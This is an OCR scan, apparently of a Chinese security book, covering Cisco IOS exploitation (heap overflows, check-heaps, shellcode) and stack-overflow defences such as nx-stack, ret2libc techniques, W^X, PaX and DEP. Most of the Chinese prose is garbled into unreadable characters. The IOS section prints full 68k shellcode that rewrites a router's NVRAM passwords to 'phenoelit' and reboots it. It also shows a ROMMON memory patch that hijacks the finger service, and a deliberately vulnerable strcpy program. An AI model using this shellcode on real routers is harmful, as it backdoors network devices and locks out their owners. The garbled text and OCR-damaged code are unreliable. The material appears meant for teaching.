CARL R BCFIR R AT S BAT RS . B 3R SR MR RAF e W AE X (AT At AT
, FERIOSHEA BN LT,

13.4.2 i

IR IEAERE H R GR X ARAFEHE SR, 04 45 OB B A2 BT R WO BSRM . 20X R R B
i, Check HeapsitFE R R BLBALHIMEL I, I IRIOSHIBE T, HSZRYmIBKIRIN A 17 A A fl
K, EHEHB. EAZOMBARS, KRB TEX—7T:

00:00:52: %SYS-3-OVERRUN: Block overrun at 209A1E8 (redzone 41414141)

FTSEL, I0SH A RAMEASHESR B YR . XM TR, Check Heapsf RIS
TSR LAMELIM 0xFDOL1ODFA I, T LA0xa1414141 455 M. FFIIX I M Ty ik S 70 A B
HERGE LRI R R MRS IRT R, Boati SR G BOR B BAEHE R T
HAMBROFEE, B—PCREBA M. MHKNEESRBSTPIHe M AL

1. I0SHEX B8

S0 TAEXAFTHERT LT, SXAME S I0S KR (i — B S0 E 52 B R SR A 535
AEE SR 2 F THUS (7150, AR FARGEIX P R SR B, R FRAE R
HeAGFFETHIE R, fEred zoneFIIL/FHESS MBI WIRT, SheblxX EWHM FIHREMLK, X
PRI T AR .

S—ATEIE) B, Check HeapsHEFETEHELH (B MI3.1.3WHMFIR) ERATHRIES]
Ho (ES RSB HOER IR, AR R INIOSHIARA FIBR, X ELHE ()1 th AT RER AT«
B XM AR T 35 SR AT IR O TREMAR AT, 3 T T LURME R B e
A1 X REORAT AT B Fr 4 DAL A E Z AR IER AL XRE TR R Y, AR~
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s

TEARARRIMEZ BT, SR M SRATOSHER IR 75 M 9156 12 R i1yl kb B prevBl ockdfiéh,
R BA T LA T Boatid b 1A i 8800 A S BT DU e, ASTSEAE R 18
BUETSRBI AR, RS SRR ARG A7, WIRITL (0 el S8 7E SN RO SR R T RE S AR B
WA AT LB A SR B e AT AR AF M T e

free PR MAEHAT BT, 8 77 A HE B 9 BlockSize B, B TATTT LAE  #% e 45 IE R
0x7FFFFFDOL 0x7FFFFFFF B IEMESORE X . BOh— BB A2 n L40B, ©N1¥4
ER. HREGHEOHABMRARSWRIE, Fite] AERES S E.

B, MEsipEgaa i, HERRTROERL. RI34BR T HEIGBLNE.

R134 HERHER

B ' X .S
REDZONE DA 0xFDO110DF
MAGIC Z 0xAB1234CD
PID —
AllocCheck  * ik -
AllocName KRR BBERINSCABRKFA TS
AllocPC EMK -
NextBlock B TF RGN TR IR -
PrevBlock LA RE R
BlockSize AR Ky %t OxTFFFFFFF
RefCnt AR 1
LastFree FEER —

BT SRR, SR LM R BRATH, ERMA TR VRS kI
SRR, AEAR S VR AR R R A A X S NMEFTHOE . 84T SE L, IRASE AW &
it

2. S REUHE RN N T RE

— EAGHE T Db, TRATIBE T LU I ) R b X A B B B — MR E. R
AR Block Size 7 B TR 9 77 A D0 3 O HE R SIMOBRIE A R A HT U FF 08 o A S S b
ARG, TOSH T MR b, M 2R A AR A 3R — RO ZE R SR

1313 WHRBIS, EHATFRIERATI A BRI E B NPT IS B X TR &8
BUE, (ALK, MENINRIERAIRATH T . 550, ¥R I T HERETALL
HILARTOIITF R « ZERIRA TR T NextFreeflprevrreeiibt . &I PFTHAT HIHRA L -

0O prevFree!f (I "] FNextFree + 204K [ fiduht;

Q NextFree B f{{H#’S FlprevFreefft i Hiihk .

PR, SR B FHIOS I A A B B S 2 AR B, DR ULIIAM 0 22 PR SRSk iR
B FUASPBA I, AT AEAE RS BUERE 0 W A7 ko
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3. Hfthigk#®

MR ZHACHSHARRINAFEF—HF, 0SB T KRB . S5 b, EWITHE A
BRAERY, FERGSDSNTIIIAE, 8, ERBER AR RE N BN EB M8 FIR
BATLLT o IOSTREDE (¥ & X REAS R TR A7 70 2001 5 M F2. 1 B0 o s -«

B, I0SEEHEEHEE “5IR”, ALl Hshow ListMdTRH . MIEXAMSFEM L5
R, M PR A4

radio#show list 2

list ID is 2, size/max is 1/-

list name is Processor

enqueue is 0x80DC044, dequeue is 0x80DC132, requeue is OxB80DCIE2

insert is 0x80DC2C2, remove is OxB0DC3FO, info is 0x80DCBAC

head is 0x201AD44, tail is 0x201AD44, flags is Ox1

# Element Prev Next Data Info
0 201AD44 0 o 201AD34

Sitifflenqueue. dequeue. requeue. insert. removeflinfoMili#RRIOSILRLEE B ik
Mo ENERIERSIRITHIEA . S HETI RGN AT & L BRIERS, WXEEA. 10SE
HHLXRMBIRLEA . B, TERAPIT RS MBBAR 2 NT, O E70R (S A AR 1R
. MR TIREREG, I AHEEME, BEATREN SRS PN —A, AR
B (K3  o

4. BEpWE

HEEHESR TR A TR, RZ IR AR Next Lokl . A Bli#EAR, BERR
JETERE RN, A FiNextBlockHiét .

©® NVRAM % i

A K KiNexeBlockif bt ¥R A AT K F Bt B0 . fE— 1A E, NVRAM (BR
Siflash I AZER) I FIRAERE i ORI, XHTOSR AT B MY, Tide—Le MRS ik i g
B, EANFR BB RN, AAEOSTHERERGHTHAN, SAMAYS.

L HRPE BN NVRAMIX 8 ffiNextBlockdifét, 7EHESREER b HOBAEHHE RER th 8403
FHUSEERCHREB (section) H. WIRANVRAME RN, 4wk b8 2 b T SEPFHT
Bt HEFEF. KT, WRNVRAMRTEN, Bilis$ka ~HiEMT F%, HHICheck Heaps
RIBMMIRSELRE. [OSTEREK IR SRAGIERREZORRA, K5 L% R
RAMBRHERT. MRBAEHERETARORE, CLRAMNRREMEE, @
BOOTP/TFTPILIX K™ W04 Lo 0 RBceti A0 F A —LANKIBL, Abghar Ak B e 8832 4
R, Mzt .

o LHEFHRE

HTIOSH B, WL RMMBRARRAE, FiChaT S VT4, I eeas ity —Fh
HALAFE (flag) (SESMARD, CHREARITH P ULBEIRRERARS, MBE
FRRHFIF . 448, FRFERT LU EHRNVRAMBE K3, WbN TR “JMH” MR




286 % 13F EHIOSHMEAR

EHRA—EIFEAEE. F, IR EREFAL, NextBlockiFEHE HMA/RLRERK
KRB K.

Gyan Chawdhary S FRILEI T — ik, o LATIBH A % 9% F1 $8Check Heaps, {BZESAA3
BHR, AOEBAROGER . RAEXUNRRA LR, ORISR 2K Check Heapsift e
EALMEAEIATE L. XD HEERCETRE MRd: SFOSTELMMT, FHM
AR SR 35t

TES 3R FICPURBHR A IE Br k& MRS AR RUARIC, FTLVE TTHER M MRIIFRIT . X
MFLRIE SR, FTH RSN BBNRE. ERICHS LI RE P REW T, &
BRI R IR ZXBIFHFH “Software-forced reload”

text:080EBB68 sub_80EBB6S:

text:080EBB68 var_4 = -4
text:080EBB6S arg_0 = 8
text:080EBB6E
text:080EBBES link a6, #0
text : 080EBB6C move.1l d2,-(sp)
text:0B0EBBGE move.l arg 0(a6),d2
text:080EBB72 tst.l  (called_ 2008218).1

; Was crash function already called?
text:080EBB78 bne.w  loc_text_BOEBC18

Exit if so

text:080EBBTC moveg  #1,d1
text:080EBBTE move.l di,(called 200B218).1

; mark function as called
text:080EBBB4 bsr.w  breakpoint__80EB9B8
text:080EBBSS pea asoftwareForcedReloa

; *\n\n¥sSoftware-forced reload\n"
text:080EBBEC pea ($FFFFFFFE) .w
text:080EBBYO bsr.l  sub_text_807CB72

ARATTSREI A, V5 25300 10 AR AR TR AT DU WU o AELEATTARAT OB ST OB BRI,
AR RGBT MR I — A, SRR RBIE RN, EOX B OSBRI
ooy, AV B AR R FES L T A bt L R
13.4.3 shellcode

RS LAY Telnet (725 thn] LUBIESSH) 7 B RH 48, (58 R fshell B2 5 HrvE
UNIX# £ Windows RZEE RS RA -FEM. Pk, WURATUABATIREY, HAI0S Liishellcode
B A S AR A

1. B F K & kYshelicode

AR Yt O BRI . XA TR IAAE, BATAT LR ARIR R 5 R
THshellcode, HIWKHFRL, RFEMATARES LHNVRAMBEBS BIR R RAEXIR. 550,
BAER LA HE LT ANVRAM, (it shellcodedh AN B R FF 77 T LINE W AT BRit
28b, X Hshellcodef 55 A AN RIOSHUR AT REMILIA, I &K BLHEAERERF 134T
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o oM

IXFARBL AR RAEM S A MR B A B RS, — BHAT, UBKIEALES ANVRAM,
EFHHRBARKEFE, HELREENVRAM, RJEEE S ARRESICPURT ik
ERHE, YBEBKESS, shellodeWHf URIER S T FEMAE, Hit, BbH U
AWIX AR, YRR EH IR ELIRER.

FIEMR, EOSHHTEHNREMSHBATUSLS, REEIZAAUXSE. it R
IHERHERHRENEE, REBERN MRS D GEOBONE. X, BIRERTL
AEH WAL

enap ¢
in e0
ip ad 62.1.2.3 255.255.255.0

ip route 0.0.0.0 0.0.0.0 62.1.2.1

livoad

pas ¢

logi

LT A AT E Telnet, EHFR N, WEEthernet0 1 MIPHAL, {I3EF)T B B9
B XD — BN, Bl T UG EX NP, JFRIF ML 7B — S ek i
BRRE.

EPITIX LB M — B, NVRAMERHEA, SO E RE SR, Hit,
SR M DAH IR, R, RIT A BT PR EE, AR, 5L R v
B 2 o T SRR, FFRISIIOS.

o AHA

BT B E S, RATB T RS EN N, GImER . SRR R T
FHX £ HLES AT Telnet RSSHT 1], FUR BN B4 #RSTIHEEZ 1150 T« Al AFEA K GEnh X
[V TG S FH 3 Hoshellcode, B H 3R & BUSAR IFR T AL RALIOS A7 i [, RAR SLABARE BT
AR o

SER T BAI25008L 5 . $93IF Hishellcode Bl F 11 F

H

# text segment
.globl _start

_start:
4
# Preamble: unprotect NVRAM and disable Interrupts
#
move.l #0xXOFF010C2,a0
lsr (a0)
move.w #0x2700,sx;
move.l #0XOFF010C2,a0
move.w #0x0001, (a0)
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4
# First, look for the magic value (OXAECD)
#
move.l #0x0E000000,a0
£ind_magic:
addg.l #2,a0
cmp.w #OXABCD, (a0)
bne.s find magic
#
# a0 should now point to the magic
# make al point to the checksum
#
move.l a0,al
addq.1l #4,al
#
# make a2 point to the suspected begin off the config
#
move.l al,a2
addq.l #8,a2
addg.l #8,a2

modmain:
cmp.b #0x00, (a2)
beq.s end_of_config

#
# search for the password string

lea S _password(pc),as
bsr.s strstr

tst.l do

# if equal to 0x00, string was not found
beq.s nextl

#

# found password string, d0 already points to where we want to replace it
[

move.l d0,ad

lea REPLACE password(pc),as

bsr.s nvcopy

nextl:
#
# search for the enable string

lea S_enable(pc),a5
bsr.s strstr
tst.1 do
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beq.s next2

#
# found enable string, d0 already points to where we want to replace it
#
move.l do,ad
lea REPLACE_enable(pc), a5
bsr.s nvcopy
next2:
addq.l #0x1,a2
bra.s modmain

end_of_config:
#
# All done, now calculate the checksum and replace the old one
#
# clear checksum for calculation
move.w #0x0000, (al)

# delay until the NVRAM got it
move.1l #0x00000001,d7
move.l #OxO000FFFF,d6
chksm_dela;
subx d7,d6
bmi.s chksm_delay

# load begin of buffer to a5
move.l a0,a5

# calculate checksum
bsr.s chksum

# write checksum to NVRAM
move.w d6, (al)

4 delay until the NVRAM got it
move.l #0x00000001,d7

move.l #0XO000FFFF,d4
final_delay:

subx d7,d4

bmi.s final delay

restart:
move.w #0x2700, $sr
moveal #0xOFF00000, %a0
moveal (%a0),%sp
moveal #OXOFF00004,%a0
moveal (%a0),%a0
jmp (%a0)




200  #13F TAIOS MBI A

RS
# SUBFUNCTIONS
§ -

#
# searches for the string supplied in a5
# if found, d0 will point to the end of it, where the modification can take place
4 if not found, d0 will be 0x00
strstr:
move.l a2,ad

strstr_2:
cmp.b #0x00, (a5)
beq.s strstr_endofstr
cmp.b (a5)+, (ad)+
beq.s strstr_2

# strings were not equal, restore a2 and return 0 in dO
elr.l do
rts

strstr_endofstr:
# strings were equal, return end of it in d0
move.l ad,do
rts

-

# nvcopy
# copies the string a5 points to to the destination a4 until (a5) is 0x00
4

nveopy:
# delay
move.l #0x00000001,d7

nvcopyll:
cmp.b #0x00, (a5)

beq.s nvcopy_end
move.b (aS)+, (ad)+

*

# do the delay

*

move.l #0x0000FFFF,d6
nvcopy_delay:

subx d7,d6
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bmi.s nvcopy_delay

# again
bra.s nvcopyll

nvcopy_end:
rts

#
# chksum
# calculate the checksum of the memory at a5 until 0x00 is reached

chksum:
clr.l 47
clr.l do
chkl:
# count 0x0000 segences in d0 up and exit when d0>10
cmp.w #0x0000, (a5)
bne.s chk_hack
# 0x0000 sequence found, branch out to chk2 only if 0x0000 count > 10
addg.l #1,d0
cmp.1 #10,d0
beq.s chk2
chk_hack:
clr.l d6
move.w (a5)+,d6
add.l d6,d7
bra.s chkl

chk2:
move.l d7,d6
move.l d7,ds

chk3:

and.1 #0x0000FFFF,d6
1sr.1 #8,a5

1sr.1 #8,d5

add.w d5,d6

move.l d6,dd

and.1 #OXFFFFO000,dd
bne chk3

not.w dé

# done, returned in d6
rts
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S_password:
.asciz "\n password *
S_enable:

.asciz "\nenable "

REPLACE_password:
.asciz "phenoelit\n"
REPLACE_enable:

.asciz “"password phenoelit\n"

# --- end of file ---

2. BB TR Ashellcode

f FshellcodeRt, EH—FThE, MEBHUTMARLREIOSHRD. EHFLRARER
e 28 B T Y B A A B AR T . A0 SR B BB IO BR, AT LRk
SCADFTAE R WA BN ERY, JHEMALT AL MM R T, SEEEORE. LR,
X T T ARG O AR SR X T4 R AR SAEE R SR % w040 FLARSE (3 o M BBUAR

iXF¥shellcode th AT LA ¥ line access (Telnet) [I#FIMAESFEH AR, — BiENIEH
FRTCAAR L ERIE, Ki &R L RE B ETEEE X AL, JFRREAT AR N
JARABR. B8 ALBIXKshellcode T, i L EMUZITAIENLF

3. 48Eshell

35— W1 BL{EBlackHat Briefings Las Vegas 2005_I-#) fiMichael Lynn#i 5 fII0S955Eshell,
W R BT 1) 58 Bl shellcode, {HAE, IXWIRUFESRMISTRZ GHERNS T, FEit, Michaelf)
S AT — B BBER AR AT

SHIOSYBsEshellcodek Bt, A HTR A7 & EATOSH ESFF/EMNTE. EHIOSHAR
AR RGBPEHL BRI, Bk, EABRAE EshelfRE, AR AEM MW7 FE8eF I3
ANHERE EPATRF TSI, 2AT0, TOSHIFFRHEN B& IR IR, thBAF DA i)
. B, 108 finger/li % ()4t N A 3LF7 1 Sshow usersdr 4 A A—H—FE. Bk,
BATRT LA BEAR S5 AL FE IR SE BT 43 & (X JCIE S o

DRATTOSHUR ) R MARFDH MRS TR, HERARH N REUEFZFEN
FRH . BAFRARBMT
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text:08178136 clr.l  -(sp) ; null
text:0817B138 clr.l  -(sp) i null
text:0817B13a pea (1).w i1
text:0817B13E clr.l  -(sp) ; null
text:08178140 pea aShowUsers ; *show users”
text:0817B144 move.l d2,-(sp) iz
text:0817B146 move.l do,-(sp) ; line
text:0817B148 bsr.w  sub_text BL7AF7E

B, BAH—MERRCAESH IRERITNAS) MRl S REE — A RRANES
HORRORARL (R —MRER ARG . M A AT RE TR KT
REPTLAE, (5B SR O BT LU ORI (TIRAREIE) Rkt M08, 768
RESHRESRAMEH26008 i b, 7 BLEEROMMOMBINEA T4, MITRIESANTiE
R

BurningBridge#

*** System received an abort due to Break Key ***

signal= 0x3, code= 0x500, context= 0x820f5bf0

PC = 0x8080be78, Vector = 0x500, SP = 0x81fec49c

rommon > priv

Password:

You now have access to the full set of monitor commands.

Warning: some commands will allow you to destroy your

configuration and/or system images and could render

the machine unbootable.

rommon > dump -b 0x81855434 0x20

81855434 73 68 6£ 77 20 75 73 65 72 73 00 00 Oa 54 43 50 show

users. .. 1cP

81855444 3a 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 61 74 74 : connection

att

rommon > alter -b 0x81855434

81855434 = 73 >

81855435 = 68 >

81855436 = 6f >

81855437 = 77 >

81855438 = 20 > -

81855439 = 75 > 66

8185543a = 73 > 6c

8185543b = 65 > 61
8185543¢ = 72 > 73
8185543d = 73 > 68
8185543e = 00 >
8185543f = 00 > g
rommon > cont
BurningBridge#

1) ¢ 1 2 R 1 Finger i SRR WABAT ) Jshow £lashifrd, TIARRIH /5%
£x@Llinux:~§ finger 06192.168.2.197
(192.168.2.197]



204 F13% RAIOS EAHA

System flash directory:
File Length Name/status
1 11846748 c2600-ipbase-mz.123-8.T8.bin
[11846812 bytes used, 4406112 available, 16252924 total]
16384K bytes of processor board System flash (Read/Write)

HEBR TR ERAGEHTT R (fingerbFABFTER) MLER, KU~ MEAMELL
W CE R B RN R A BT Z XN N ERED. FEENZA, RITURIAT finger

RS AR
text:08177C2A clr.l (sp)
text:08177C2C pea (tcp_finger_handler 817B10C).1
text:08177C32 pea ($4F) .w
text:08177C36 pea ($13).w
text:08177C3A pea (4).w
text:08177C3E bsr.1l sub_text_80EB8994
text:08177C44 addg.w #8,sp
text:08177C46 addq.w #8,sp

BHARM, B3P RTCPHMIIRRE, THOx4FNH B RfingerfR% MM 05, MITALA
Heli, FEAE—MEMEY, & Zprotocol/port/handler 3-touples, FFHIOSHAEA]. Hik, FR
—shellcode, RS B A K1 O AT shelldr S RAATRER . AAEHESH, 7IRR
iiX#¥ fishellcode.

1356 /g

RE—/NBANEATERRFERFBARBRIOS, 4 REREMME, 550 JRE R AT &
WEMBERERT . H T BF7200881 2% (hitp//www.ipflow.utc.fr/index php/Cisco_7200_
Simulator), H& AMATS GXMEBIWRT .

EAGRAERAE, BRI B2 M MR R BE  TI0S. BT Mk % (Bt
HULHIZIN, FEMB R RS R LR, TOBUEE th o T MRARARIOS 1 E HRKAY . H5
— 5T, KHS B BRI R A 5 G UEATIE L P R 0 B RNR

FEAR RS & BRI A X, QISR IR, EX—RAT AR T
BT RAFRIOSHMRLIY . MEZIT1HRH OAKRTIFE .



ﬁﬁ%ﬁ@&ﬁwﬂmﬁﬁﬁwmmv&ﬁ%%rﬁﬁ?ﬁ#ﬁmWﬁF,ﬁﬁEF%*
I SRR B BT XL BRARBIHTHAN) HB0) TR RS T fetE
TIASRMARA LRI, B, R4 (0 £ £/ e B 7T R et A PR BAT ARG

I YNGR RGBT IS, REFRANIEE MMERZ LAY sh, R
WA ARTHUBIRIF N, LURITLT X SR B

141 Rip
A REMATERRERA TR R HE 0RAR. FERAEGIFHCRR:

#include <stdio.h>
#include <string.h>

int function(char *arg) (
int varl;
char buf[80];
int var2;
printf(*arg:$p varl:%x var2:%x buf:¥x\n*, &varl, &var2, buf);
strcpy (buf, arg);
}

int main(int c, char **v) {
function(v(1]);

)
FRAE TR R B RAMEF R IR, R TR,

t bt

var2 4B

buf 80B
varl 4B

saved ebp 4B

return address 4B

arg 4B

§ Rht
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VER, AR BB WA R Rk SRt U Ly

1411 FARITH

A RIE, B A% AbugRAETARM B R 2 . B OB ER: BR
AR b, fERRE AR X, BEE N, BUEBEEIE. M ERA AT, X
RHEARRRUT .

19964E8 /1, # A¥Ebugtraq .42 33247 7E Alpha L FIDEC 7 fIDigital UNIX R R AT HAT AR (fi]
5 Kynx-stack) Chttp:/marc.info?m=87602167419750), R E1E19994:2 A Z R Al g LA AL %
(http://marc.info?m=91954716313516), {E' ff) th BE T i ) Casper Dik7E19964£9 H 19 F & I
RA fr@)\x&uira‘:mnmxwmﬁ XA B AAT LAEIEAT M A A B, T ZE Solaris
2.4/2.5/2.5.1 ESEBL T nx-stack (h gtrag/1 57.html). BlijE, Z£199744
128, Solar Designer% A T fth Ay Linux3& (55— M40 T (https info?m=87602167420762)
R, ANERTIRBIRE K, XEERER RN, 142 M X — 5.

TEARK—BUR AP, Intel AT BRATHATER, ERAR, EXEZHM Linux RITA
OpenBSD. Mac OS X. Solaris. Windows% R4 B, X MEFMEABRNEHT .

TEnx-stackWUBIHILE, JLPLEIBAT AR T — 2R REEE & . B X AR B —
AR M RIS SRR AN TTHAT, AT (e ) U977 LT,
sesb, SR E kA7 R LAY 9 45 BB 55 R FR AR R BAT S B T B

— AR Weturn-into-libe (5 Hret2libe) iyHAR B I fi#Enx-stacks R I3 T AR A9 P X
Wi o ret2libe 5K KA B A ret2plt. ret2strepy. ret2gets. ret2syscall. ret2data. ret2text. ret2code
ret2dl-resolveMichained ret2code (E#5 #chained ret2libe) HiAR.

*4Tim Newsham?£ 199744 327 H S —WRERTXA L MM TR, EERAELinux £3H—
Aox-stack B 5, AT BB R4 M E AL (http:/marc.info?m=87602167420860), {HX T
B, S-SR BRI A PR K 2 3.

Q ret2data. %gifnx-stack (i fi 0977, HEANNIIRTS / egg / shellcodelA BB,
AR IR EIAEBE RS . AR, bt BRI FERR LI, R E WEA SR
AMEARTIIRAE WA T o KRR HAT)LAS, Bt z&wvo{m*akﬁc#ﬁm.

Q ret2libc, #£19974F4 A10H, Solar Designer?t: —# &4 B R AR T B
Chttp://marc.info?m=87602746719512). LERERE, /8 EBEBERlibefOHD KR B HuhE,
i, UNIX Lffjsystem() . WinExec(), B#{&David Litchfield$f i i) Windows L ¥
LoadLibrarya () Chttp:/A pdf). 7EARZEM: X8
HM, o AT ARSI R, 36 AR IR R Mk AT AT R AR 1R R MOR F1 2 3
VG, Bk, PR LS O libc R E IR MR A T AR . FERGIEEHT
FFROTEE (B, + 49 W \x00 A REBIEN) .

Q ret2strepy . 7199841 430 H, Rafal Wojtczuk A 7 T AR (http:/marc.info?m=
88645450313378) . REF XA AL T re2libef), {HEM FRHFHBTERRTBMAE
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o

Ho BAGEERIGHHERR, FARMRENX (RAFRETLAbRMEL R
sTcB YUK AR K B R ATHAT Wb i ast B BOR Flstrepy () « i H#A
Hebi, BediH AT S Hlstrepy O REBE, MiBkE] 222 Mstrepy () A HIZIAE
A e, EIATHUHMERAR. MR, RS S RRER T AR RRER,
HMsprintf (). memcpy () %,

t fEHshk

&strcpy 4B, HSEEMEEMEE—B
dest_ret 4B, #iFstropy () ZJRH HARHLE
dest 4B, TSI B AT BT AL
src 4B, WAHRETEAMRT

+ wstht

RAEAE AR B HAL BRI QL AU B (708D, {H 240/ Minop B S v I I 3
HERIAATAIG. 8.9 T WindowsF &_E{# iret2strepy % F«

ret2gets. Ariel Futoransky 1%, & Sret2strepydFH20L, {A7EEHMK %A FEMATE,
B BR AT S ot BB AR E AT HAT WS, EAEREEA NS H.

B4R, fRgets () MstainBBUHIR—HF, RUIFTLAEHIN AEFRBA, BXNAE
FoAHA A LT, KRR T ERAAN IR e B I LR KB, XA
57T . HABHIESOE read ()« recv () recvirom() . R LU H EHHICHHE
HEM, FRUREEBK, ATl ZKcount,

tEahk

&gets 4B, S%SMEFEBARTF

dest 4B, HiTgets () /EM IR
dest. 4B, ARG ArfiAT At
| w5k

retcode. X —NEK, REFANRM. WO TN ARE S HRIE 7%,
BT RESR N IR P Sl OB “ IO RS, B AR AR A
B, BB CLMR T

chained ret2code. i 4chained ret2libc. XM HBAT —MRIEHIKI B, 71997
4, B Llret2syscall )i ¥R R AEAIAE, {H3—YiiTohn McDonald A P 5 & F it
RAE199943 A3 H (http:/marc.info?m=92047779607046), 7£ /¢t $SPARC L f¥jSolaris

HOSCSERARFRIT 5L JG K, 46200045 H6 H ( i html),
Tim NewshamE ¢t %x86_I- (fjSolaris ) i #f 72/ B R /R i €. #£20014E12f327H, Rafal
Wojtczukin?i PhrackZsi& bR KM E (hitp i pS8-0x04), X ULFF

HARLELinux b (R FH i T ABNBAIRRE -
FEInter x86.1:, #43iHAT A3k Hchained ret2code.

w SRS, WA B BUR A TR B, HBTim Newsham VBT
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F ¥ K PN

o

[=]

o

FEFTBUIIRAE

» BIEARR, RS REOREE R, #I, 1#fpop-pop-pop-pop-ret.
XFEMFEF

» 24j& 5| fpascal Bstdcal 184 SCIM B AES , UK Windows LA 19, SE=058
REME SR T XSEALE, BEAHSEERNEEE, BT euTE
F ok fichained i FI 4T AL T« iXF /%R Aichained ret2code 8] $.57 i, A@AR# 4L T3E
HWEHT R,

u J§J& — T Fchained re2codeff)H AR 2John McDonaldf] FSPARCHHE AR, RATIH
AT SPARCHIHFME, (BT SRINIRERE (B =B AR B LR,

ret2syscall. XTHEARBMNELRL T, BLE199744H28H, Tim Newsham7Ebugtragh

FHH; T BIRHARR M (http://marc.info/?m=87602167420860) . %I T4 /I #7 8845 &

SEASHARLER, iLlinux, SAERBERHBEITRGSE, HEeiI#E

—i. HTABAR LT RN TS, REERE.

pop eax

pop ebx

pop ecx

ret

BEAF B RHBIT RAWRRAT AT . B, WhESRshnaes. o
ret2strepyefbl, ATBLEK 38— BAIGIREH AL, AT EIREIS AN BORF S
AT REEA -
FEHALAR LI AR AL B RGBS MO BRE RS L, SRR B — S R R . 1
i R S — MGy B8 I — /N7 4788 (101, 3 Windows . OpenBSD ., FreeBSD, Solaris/x86.,
Mac OSXHBt, eax@ A BARRLWAGES), BoMHBIUABIITREMA.
JRAFZEWindows - H R G F 48 B AR AT A, {HARRPiotr Bania?E20054:8 H4 H 7E
Mg 3CTE “Windows Syscall Shellcode” Chttp://ww i i 1844) A
SRR, Llret2syscall iy 7 AR S BT A HE B o
ret2text, X% Bk AT AT M HIA B . cext Bt (ARFBEL) kMR, re2plthl
ret2d-Iresolve i & (M o BEAHE WX RIASLRZ KM RF BN, ret2textBity
WEGHBMTEE, FICEEERN .
ret2plt . 7E19984:1 5301, Rafal Wojtczuk ] if T 3X M $ A ( http://marc.info?m=
13378). 7 Bj¥ret2libeBCiti, Solar Designer?E19974E4 A 10 H R BB F|
ASCII Armored Address Space (AAAS) (http://marc.info?m=87602746719512), HIHAAAS
kS P A — A \x00 (ilt, 0x00110000), BEMtTEstrepy ()R A RS K TATLL
Bl iret2libe it «
ret2pltill it — 31 f¥) Procedure Linkage Table (PLT) I3 ¥ JijlibciR ¥ . PLTRZ — /MR,
TR (45— A P AR SE BT AR AT — R 4% B RTL83) AR 5% B (K ELF o 04T 301
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Kt ENENERMIERRLEEEMFIAAAS.
AR R € RGEVA AR R S A s, FWREAHPLTAH .

RSt

&strepy@plt 4B, strcpyHi¥PLT4 H it
dest_ret 4B, #udTstrepy () JRHIHRIEAE
dest 4B, BAINASH HATRIT bk
src 4B, AFHREEAKIREY

| st

0 ret2di-resolve. A F k2 FIRafal Wojtczuk, ¢ BT 32 3] ity Phrack 30 2 A28 T
ELFRIB AR BBAETA (1d.50) EREEERED, IR 86 B — M6 i R 2
PATre2pltHiti.

w HELFA A I SCFBBATIG, BRESRSE T uo_BInD_Now, &WI'EATH MPLTA H
FORAR T B RGO 0FS, EH—LE R, NIZES KRR
FFRAEHTRE SRR AT LA BT BT IR S N A 7EAB A b 00— 1) o 3 (ZE Linux
#1/£dl_linux_resolve(), ZEOpenBSDFIFreeBSD L& _dl bind start()), {#H—
NS IS BOR AT Bl X/ 66 R 3745 R B L AR (T R 3

» KRB E SR AR R G, B2, RERaGIFTETRII, Shx
TIATH . BRI, BREHELIUXTHA.

RAVERTE G LHFNL, nx-stackMEHGRIHUBREEBEA RN A SUAFLAREY
Hb, WTTAESRATH AT U BUERALE: WRRAEHD GREWN, WHRMBNERIHED, W
BEASRETRS B A7 FHbFR A7 B AARBS AOBAT, AR RETIBHIE A BILAB MR R (RIS IBAT . R
AIHE T SR YRR S B GRA BOR AR YO ) B F7 v«

14.1.2 WAX J7F

ERATRATRI ST R, dAE 0TS WAER AT IAT R eI AT A AE AR TT S IR AR 4
TWAX, WER LU, IS MRFEAMERIH R/ M. AEMHR, WG ER
ret2data. ret2strepyfilret2getsst, AR T LA LA WAX RS 9 R 4«

WAX (Writable xor eXecutable, N7 5 8HAT) IX 4 A HOpenBSD X BCAE# F =42 My i
Theo de Raadt$it th i), RAFFEMLZ W CAH ML T . WAXHIS N SBLAT LLEWF 197248 (3R
VPHR ), T GE-645MMultics RA S RN BB A ATIL. FTERAMAAT, RERM L
FATREEARYT . AR ARN A OCRHR T Multics RAIN AR5 Wi, BRAZFRIEID, 4
5] tummu:xﬁﬁ:ti 197446 1, Paul Kargermkoger Scheu&iaq “Multics Security

Analysis” (http: nist. y/karg74.pdf); 2002412
A, VR LEBAEEREE « Tlurty Years Later: Lessons from the Multics Security Evaluation”
Chttp: acsac.org/200: Itics.pdf).

PAE, XLELRMAATROCAHREENRET, RIVEREAMA— T 19964 Casper DikK
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iR R AT TIB, SRR THAT, TEEMEbssBATHIT. JFMIM T FFHW XKL
B, BB KW i 84 & pipacs T20004F 10 A 28 H & A # Linux f 5 IE. - (FR 4 Pax)
(http://marc.info?m=97288542204811). ‘& B4 figfil ZEIntel x865EHF L, {HHULE Higrsecurity ExXX
i, TALI%HHx86. sparc. sparc64. alpha. parisc. amd64. ia64Flppx bffILinux.

PaX A —MIEH T SPUTREMEN SR, EEAMTARE], 7ntel x865EH LI ATH#AT
AAETURTTHER . T, RERTHAR UL, B4 TERFMER, MUSRITEH T B

LM Linux RATAREMKAAHPaX, HTAEREBBIEAE, TR AR S
BB, REFEXE R RITIR P RERDOHTURBIWXHBT -

7E20034E9 H, AMD % 50 R Al $AT WA TR 46 T i L30HF, RBR B HNX
(Non-eXecutable) HIFFHE: IntelBliEl ta 24t T A3 UMK AED (Execute Disable) HIFFHE. JL
ARG, #ESH Linuxth TRXEASE T . SGETAA, MIKA S ZENXAHE R, HWindows
XP KAfISP2t5I A\ TDEP (Data Execution Prevention, ¥EHATHRIHLED .

R4 Windows XP SP2#=Windows 2003 SP16§ £ A7, #4k/>3) 4% TDEPHA. ZREAT
4 BN A TG A5 A ik IR AR AR 4 X

DEPili ¥ 9 AN RR At R EAFtktt ER, R, AEHARR, CEVAZA
RF 40 M % SafeSEH (software Safe Structured Exception Handling) %3, #£14.1.7% #
LAWY, HWAXHRAENXLH; RA—RRXFWXG KA, ZRHRBTHERL
( exception dispatching) , /£14.1.7% ¥ £AF#F.

#}F 4% Visual Studio /SafeSEHi 7 43 49 T #AT AL A 4L/ (EXE) #o3) A4442 & (DLL)
4%, SafeSEH Protections ¥ & /& /i th. ZA #MEXERP L ARA, *TAA M /SafeSEH
HABAG AR (BIET 5 LK S HAOP =5 AR —EEGA AR ) Ril, LEH
ik B EAN.

MR B b, BB R AL AR R T B4 XA 49 DEPARWAX, 8RB 7 XA ek,
RFAEM.

st F 4 AR A A A WAXAR P 643245 A e R, TR Bl — BB T4 EM, £TAEE
